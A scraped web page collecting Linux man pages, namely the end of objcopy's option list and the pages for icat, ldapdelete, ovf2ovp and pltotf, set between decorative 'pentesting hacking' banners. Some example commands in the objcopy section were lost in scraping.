Convert debugging information, if possible. This is not the default because only certain debugging formats are supported, and the conversion process can be time consuming.

–gap-fill val
Fill gaps between sections with val. This operation applies to the load address (LMA) of the sections. It is done by increasing the size of the section with the lower address, and filling in the extra space created with val.

–pad-to address
Pad the output file up to the load address address. This is done by increasing the size of the last section. The extra space is filled in with the value specified by –gap-fill (default zero).

–set-start val
Set the start address (also known as the entry address) of the new file to val. Not all object file formats support setting the start address.

–change-start incr

–adjust-start incr

Change the start address (also known as the entry address) by adding incr. Not all object file formats support setting the start address.

–change-addresses incr

–adjust-vma incr

Change the VMA and LMA addresses of all sections, as well as the start address, by adding incr. Some object file formats do not permit section addresses to be changed arbitrarily. Note that this does not relocate the sections; if the program expects sections to be loaded at a certain address, and this option is used to change the sections such that they are loaded at a different address, the program may fail.

–change-section-address sectionpattern{=,+,-}val

–adjust-section-vma sectionpattern{=,+,-}val

Set or change both the VMA address and the LMA address of any section matching sectionpattern. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-lma sectionpattern{=,+,-}val
Set or change the LMA address of any sections matching sectionpattern. The LMA address is the address where the section will be loaded into memory at program load time. Normally this is the same as the VMA address, which is the address of the section at program run time, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-vma sectionpattern{=,+,-}val
Set or change the VMA address of any section matching sectionpattern. The VMA address is the address where the section will be located once the program has started executing. Normally this is the same as the LMA address, which is the address where the section will be loaded into memory, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used. Note - changing the VMA of sections in a fully linked binary can be dangerous since there may be code that expects the sections to be located at their old address.

–change-warnings

–adjust-warnings

If –change-section-address or –change-section-lma or –change-section-vma is used, and the section pattern does not match any sections, issue a warning. This is the default.

–no-change-warnings

–no-adjust-warnings

Do not issue a warning if –change-section-address or –adjust-section-lma or –adjust-section-vma is used, even if the section pattern does not match any sections.

–set-section-flags sectionpattern=flags
Set the flags for any sections matching sectionpattern. The flags argument is a comma separated string of flag names. The recognized names are alloc, contents, load, noload, readonly, code, data, rom, exclude, share, debug, and large. You can set the contents flag for a section which does not have contents, but it is not meaningful to clear the contents flag of a section which does have contents–just remove the section instead. Not all flags are meaningful for all object file formats. In particular the share flag is only meaningful for COFF format files and not for ELF format files. The ELF x86-64 specific flag large corresponds to SHF_X86_64_LARGE.

–set-section-alignment sectionpattern=align
Set the alignment for any sections matching sectionpattern. align specifies the alignment in bytes and must be a power of two, i.e. 1, 2, 4, 8…. Note - setting a section’s alignment will not automatically align its LMA or VMA addresses. If those need to be changed as well then the –change-section-lma and/or –change-section-vma options should be used. Also note that changing VMAs can cause problems in fully linked binaries where there may be code that expects the contents of the sections to be located at their old address.

–add-section sectionname=filename
Add a new section named sectionname while copying the file. The contents of the new section are taken from the file filename. The size of the section will be the size of the file. This option only works on file formats which can support sections with arbitrary names. Note - it may be necessary to use the –set-section-flags option to set the attributes of the newly created section.

–dump-section sectionname=filename
Place the contents of section named sectionname into the file filename, overwriting any contents that may have been there previously. This option is the inverse of –add-section. This option is similar to the –only-section option except that it does not create a formatted file, it just dumps the contents as raw binary data, without applying any relocations. The option can be specified more than once.

–update-section sectionname=filename
Replace the existing contents of a section named sectionname with the contents of file filename. The size of the section will be adjusted to the size of the file. The section flags for sectionname will be unchanged. For ELF format files the section to segment mapping will also remain unchanged, something which is not possible using –remove-section followed by –add-section. The option can be specified more than once. Note - it is possible to use –rename-section and –update-section to both update and rename a section from one command line. In this case, pass the original section name to –update-section, and the original and new section names to –rename-section.

–add-symbol name=[section:]value[,flags]
Add a new symbol named name while copying the file. This option may be specified multiple times. If the section is given, the symbol will be associated with and relative to that section, otherwise it will be an ABS symbol. Specifying an undefined section will result in a fatal error. There is no check for the value, it will be taken as specified. Symbol flags can be specified and not all flags will be meaningful for all object file formats. By default, the symbol will be global. The special flag ‘before=othersym’ will insert the new symbol in front of the specified othersym, otherwise the symbol(s) will be added at the end of the symbol table in the order they appear.

–rename-section oldname=newname[,flags]
Rename a section from oldname to newname, optionally changing the section’s flags to flags in the process. This has the advantage over using a linker script to perform the rename in that the output stays as an object file and does not become a linked executable. This option accepts the same set of flags as the –set-section-flags option. This option is particularly helpful when the input format is binary, since this will always create a section called .data. If for example, you wanted instead to create a section called .rodata containing binary data you could use the following command line to achieve it: objcopy -I binary -O <output_format> -B <architecture> \ –rename-section .data=.rodata,alloc,load,readonly,data,contents \ <input_binary_file> <output_object_file>

–long-section-names {enable,disable,keep}
Controls the handling of long section names when processing COFF and PE-COFF object formats. The default behaviour, keep, is to preserve long section names if any are present in the input file. The enable and disable options forcibly enable or disable the use of long section names in the output object; when disable is in effect, any long section names in the input object will be truncated. The enable option will only emit long section names if any are present in the inputs; this is mostly the same as keep, but it is left undefined whether the enable option might force the creation of an empty string table in the output file.

–change-leading-char
Some object file formats use special characters at the start of symbols. The most common such character is underscore, which compilers often add before every symbol. This option tells objcopy to change the leading character of every symbol when it converts between object file formats. If the object file formats use the same leading character, this option has no effect. Otherwise, it will add a character, or remove a character, or change a character, as appropriate.

–remove-leading-char
If the first character of a global symbol is a special symbol leading character used by the object file format, remove the character. The most common symbol leading character is underscore. This option will remove a leading underscore from all global symbols. This can be useful if you want to link together objects of different file formats with different conventions for symbol names. This is different from –change-leading-char because it always changes the symbol name when appropriate, regardless of the object file format of the output file.

–reverse-bytes=num
Reverse the bytes in a section with output contents. A section length must be evenly divisible by the value given in order for the swap to be able to take place. Reversing takes place before the interleaving is performed. This option is used typically in generating ROM images for problematic target systems. For example, on some target boards, the 32-bit words fetched from 8-bit ROMs are re-assembled in little-endian byte order regardless of the CPU byte order. Depending on the programming model, the endianness of the ROM may need to be modified. Consider a simple file with a section containing the following eight bytes: 12345678. Using –reverse-bytes=2 for the above example, the bytes in the output file would be ordered 21436587. Using –reverse-bytes=4 for the above example, the bytes in the output file would be ordered 43218765. By using –reverse-bytes=2 for the above example, followed by –reverse-bytes=4 on the output file, the bytes in the second output file would be ordered 34127856.

–srec-len=ival
Meaningful only for srec output. Set the maximum length of the Srecords being produced to ival. This length covers both address, data and crc fields.

–srec-forceS3
Meaningful only for srec output. Avoid generation of S1/S2 records, creating S3-only record format.

–redefine-sym old=new
Change the name of a symbol old, to new. This can be useful when one is trying link two things together for which you have no source, and there are name collisions.

–redefine-syms=filename
Apply –redefine-sym to each symbol pair “old new” listed in the file filename. filename is simply a flat file, with one symbol pair per line. Line comments may be introduced by the hash character. This option may be given more than once.

–weaken
Change all global symbols in the file to be weak. This can be useful when building an object which will be linked against other objects using the -R option to the linker. This option is only effective when using an object file format which supports weak symbols.

–keep-symbols=filename
Apply –keep-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-symbols=filename
Apply –strip-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-unneeded-symbols=filename
Apply –strip-unneeded-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–keep-global-symbols=filename
Apply –keep-global-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–localize-symbols=filename
Apply –localize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–globalize-symbols=filename
Apply –globalize-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

–weaken-symbols=filename
Apply –weaken-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–alt-machine-code=index
If the output architecture has alternate machine codes, use the indexth code instead of the default one. This is useful in case a machine is assigned an official code and the tool-chain adopts the new code, but other applications still depend on the original code being used. For ELF based architectures if the index alternative does not exist then the value is treated as an absolute number to be stored in the e_machine field of the ELF header.

–writable-text
Mark the output text as writable. This option isn’t meaningful for all object file formats.

–readonly-text
Make the output text write protected. This option isn’t meaningful for all object file formats.

–pure
Mark the output file as demand paged. This option isn’t meaningful for all object file formats.

–impure
Mark the output file as impure. This option isn’t meaningful for all object file formats.

–prefix-symbols=string
Prefix all symbols in the output file with string.

–prefix-sections=string
Prefix all section names in the output file with string.

–prefix-alloc-sections=string
Prefix all the names of all allocated sections in the output file with string.

–add-gnu-debuglink=path-to-file
Creates a .gnu_debuglink section which contains a reference to path-to-file and adds it to the output file. Note: the file at path-to-file must exist. Part of the process of adding the .gnu_debuglink section involves embedding a checksum of the contents of the debug info file into the section. If the debug info file is built in one location but it is going to be installed at a later time into a different location then do not use the path to the installed location. The –add-gnu-debuglink option will fail because the installed file does not exist yet. Instead put the debug info file in the current directory and use the –add-gnu-debuglink option without any directory components, like this: objcopy –add-gnu-debuglink=foo.debug At debug time the debugger will attempt to look for the separate debug info file in a set of known locations. The exact set of these locations varies depending upon the distribution being used, but it typically includes:

“* The same directory as the executable.”

“* A sub-directory of the directory containing the executable”

called .debug

“* A global debug directory such as /usr/lib/debug.”

As long as the debug info file has been installed into one of these locations before the debugger is run everything should work correctly.

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, removing contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all note sections in the output. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. This option is intended for use by the compiler as part of the -gsplit-dwarf option, which splits debug information between the .o file and a separate .dwo file. The compiler generates all debug information in the same file, then uses the –extract-dwo option to copy the .dwo sections to the .dwo file, then the –strip-dwo option to remove those sections from the original .o file.

–extract-dwo
Extract the contents of all DWARF .dwo sections. See the –strip-dwo option for more information.

–file-alignment num
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to PE targets.]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. [This option is specific to PE targets.]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to PE targets.]

–section-alignment num
[This option is specific to PE targets.] Sets the section alignment field in the PE header - if one is present in the binary. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. Note - this option will also set the alignment field in each section’s flags. Note - if a section’s LMA or VMA addresses are no longer aligned, and those addresses have not been set via the –set-section-lma or –set-section-vma options, and the file has been fully relocated then a warning message will be issued. It will then be up to the user to decide if the LMA and VMA need updating.

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. [This option is specific to PE targets.]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, efi-app, efi-bsd, efi-rtd, sal-rtd, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to PE targets.]

–extract-symbol
Keep the file’s section flags and symbols but remove all section data. Specifically, the option:

*<removes the contents of all sections;>

*<sets the size of every section to zero; and>

*<sets the file’s start address to zero.>

This option is used to build a .sym file for a VxWorks kernel. It can also be a useful way of reducing the size of a –just-symbols linker input file.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. Note - if compression would actually make a section larger, then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

For ELF files, these options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –decompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–decompress-debug-sections
Decompress DWARF debug sections. For a .zdebug section, the original name is restored.

–elf-stt-common=yes

–elf-stt-common=no

For ELF files, these options control whether common symbols should be converted to the STT_COMMON or STT_OBJECT type. –elf-stt-common=yes converts common symbol type to STT_COMMON. –elf-stt-common=no converts common symbol type to STT_OBJECT.

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes.

-V

–version

Show the version number of objcopy.

–verilog-data-width=bytes
For Verilog output, this options controls the number of bytes converted for each output data element. The input target controls the endianness of the conversion.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, objcopy -V lists all members of the archive.

–help
Show a summary of the options to objcopy.

–info
Display a list showing all architectures and object formats available.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ld (1), objdump (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2118 - Linux cli command icat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command icat and provides detailed information about the command icat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the icat.

NAME 🖥️ icat 🖥️

Output the contents of a file based on its inode number.

SYNOPSIS

icat [-hrsvV] [-f fstype ] [-i imgtype ] [-o imgoffset ] [-b dev_sector_size] image [images] inode

DESCRIPTION

icat opens the named image(s) and copies the file with the specified inode number to standard output.

ARGUMENTS

-f fstype
Specifies the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-h
Skip over holes in sparse files, so that absolute address information is lost. This option saves space when copying sparse files.

-r
Use file recovery techniques if the file is deleted.

-s
Include the slack space in the output.

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-o imgoffset
The sector offset where the file system starts in the image.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-v
Enable verbose mode, output to stderr.

-V
Display version

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

inode
Inode number. icat concatenates the contents of all specified files.

LICENSE

This software is distributed under the IBM Public License.

HISTORY

First appeared in The Coroners Toolkit (TCT) 1.0 and is now in The Sleuth Kit.

AUTHOR(S)

Wietse Venema IBM T.J. Watson Research P.O. Box 704 Yorktown Heights, NY 10598, USA

This version is maintained by Brian Carrier (carrier at sleuthkit at org).

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2119 - Linux cli command ldapdelete

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapdelete and provides detailed information about the command ldapdelete, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapdelete.

NAME 🖥️ ldapdelete 🖥️

LDAP delete entry tool

SYNOPSIS

ldapdelete [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -c] [ -f* file]* [ -r] [ -z* sizelimit]* [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]] [ DN []]

DESCRIPTION

ldapdelete is a shell-accessible interface to the ldap_delete_ext(3) library call.

ldapdelete opens a connection to an LDAP server, binds, and deletes one or more entries. If one or more DN arguments are provided, entries with those Distinguished Names are deleted. Each DN should be provided using the LDAPv3 string representation as defined in RFC 4514. If no DN arguments are provided, a list of DNs is read from standard input (or from file if the -f flag is used).

OPTIONS

-V[V]
Print version info. If -VV is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldapdelete must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Show what would be done, but don’t actually delete entries. Useful for debugging in conjunction with -v.

-v
Use verbose mode, with many diagnostics written to standard output.

-c
Continuous operation mode. Errors are reported, but ldapdelete will continue with deletions. The default is to exit after reporting an error.

-f* file*
Read a series of DNs from file, one per line, performing an LDAP delete for each.

-r
Do a recursive delete. If the DN specified isn’t a leaf, its children, and all their children are deleted down the tree. No verification is done, so if you add this switch, ldapdelete will happily delete large portions of your tree. Use with care.

-z* sizelimit*
Use sizelimit when searching for children DN to delete, to circumvent any server-side size limit. Only useful in conjunction with -r.

-M[M]
Enable manage DSA IT control. -MM makes control critical.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-P {2 | 3}
Specify the LDAP protocol version to use.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and delete extensions with -E. ‘!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

Delete extensions:

  (none)

-o* opt***[=optparam]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the identity depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ, the command will require the operation to be successful.

EXAMPLE

The following command:

    ldapdelete "cn=Delete Me,dc=example,dc=com"

will attempt to delete the entry named “cn=Delete Me,dc=example,dc=com”. Of course it would probably be necessary to supply authentication credentials.

DIAGNOSTICS

Exit status is 0 if no errors occur. Errors result in a non-zero exit status and a diagnostic message being written to standard error.

SEE ALSO

ldap.conf(5), ldapadd(1), ldapmodify(1), ldapmodrdn(1), ldapsearch(1), ldap(3), ldap_delete_ext(3)

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2120 - Linux cli command ovf2ovp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ovf2ovp and provides detailed information about the command ovf2ovp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ovf2ovp.

NAME 🖥️ ovf2ovp 🖥️

convert virtual font file and associated font metrics to property-list format

SYNOPSIS

ovf2ovp [options] ovfname[.ovf] [ofmname[.ofm] [ovpfile[.ovp]]]

DESCRIPTION

ovf2ovp translates a virtual font (OVF) file, ovfname, and its companion font metric (OFM) file, ofmname, into a human-readable property-list format. The program writes to standard output (by default) or to a file specified as ovpname.

The program also works with TeX VF and TFM files, producing TeX VPL files.

OPTIONS

(Same as ofm2opl).

-charcode-format=type
output character codes according to type, either `hex’, `octal’ or `ascii’. Default is `hex’; `ascii’ says to use ASCII for letters and digits, hex for all else.

-char-format=stype
output character codes according to stype, either `num’ or `ascii’. Default is `num’; `ascii’ as in -charcode-format. (These two redundant options both exist only for historical compatibility.)

-num-format=ntype
output numbers according to ntype, either `hex’ or `octal’; default is hex.

-text-format=ttype
output coding scheme and family according to ttype, either `mixed’ or `upper’ case; default is mixed.

-help
display a brief summary of syntax and options

-verbose
display progress reports

-version
output version information and exit

FILES

ovpfile
Omega Virtual Property List file

ofmname
Omega Font Metric file

ovfname
Omega Virtual Font file

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (mailing list); good to check if the same bug is present in vftovp(1).

General discussion of Omega (and Aleph) can take place on the <http://lists.tug.org/omega> mailing list.

SEE ALSO

omega(1), aleph(1), ofm2opl(1), ovp2ovf(1), pltotf(1), tftopl(1), vftovp(1), vptovf(1)

AUTHOR

According to the WEB documentation:

VFtoVP is an extended version of the program TFtoPL, which is part of the standard TeXware library. The idea of a virtual font was inspired by the work of David R. Fuchs who designed a similar set of conventions in 1984 while developing a device driver for ArborText, Inc. He wrote a somewhat similar program called AMFtoXPL.

Thus, ovf2ovp is based on the WEB source code for vftovp(1), although nowadays it is a link to omfonts, implemented entirely in C.

The primary authors of Omega were John Plaice and Yannis Haralambous. Omega (and Aleph) are now maintained as part of TeX Live.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is also now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2121 - Linux cli command pltotf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pltotf and provides detailed information about the command pltotf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pltotf.

NAME 🖥️ pltotf 🖥️

convert property list files to TeX font metric (tfm) format

SYNOPSIS

pltotf [-verbose] pl_file_name[.pl] [tfm_file_name[.tfm]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The pltotf program translates a (human-oriented) property list file to a (program-oriented) TeX font metric file. Thus, after editing the property list file, a TFM file can be generated for use with, for example, tex(1).

The pl_file_name is extended with .pl if it lacks a suffix. No path searching is done.

If no tfm_file_name is given, the basename of pl_file_name with suffix .tfm is used; otherwise tfm_file_name is extended with .tfm if it lacks a suffix.

OPTIONS

Without the -verbose option, pltotf operates silently. With it, a banner and progress report are printed on stdout.

SEE ALSO

tftopl(1).
Donald E. Knuth, TeXware.
Donald E. Knuth, The Metafontbook, (Volume C of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13445-4.

AUTHORS

Donald E. Knuth wrote the program. It was published as part of the TeXware technical report, available from the TeX Users Group. Howard Trickey, Pavel Curtis, and Richard Furuta originally ported it to Unix.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
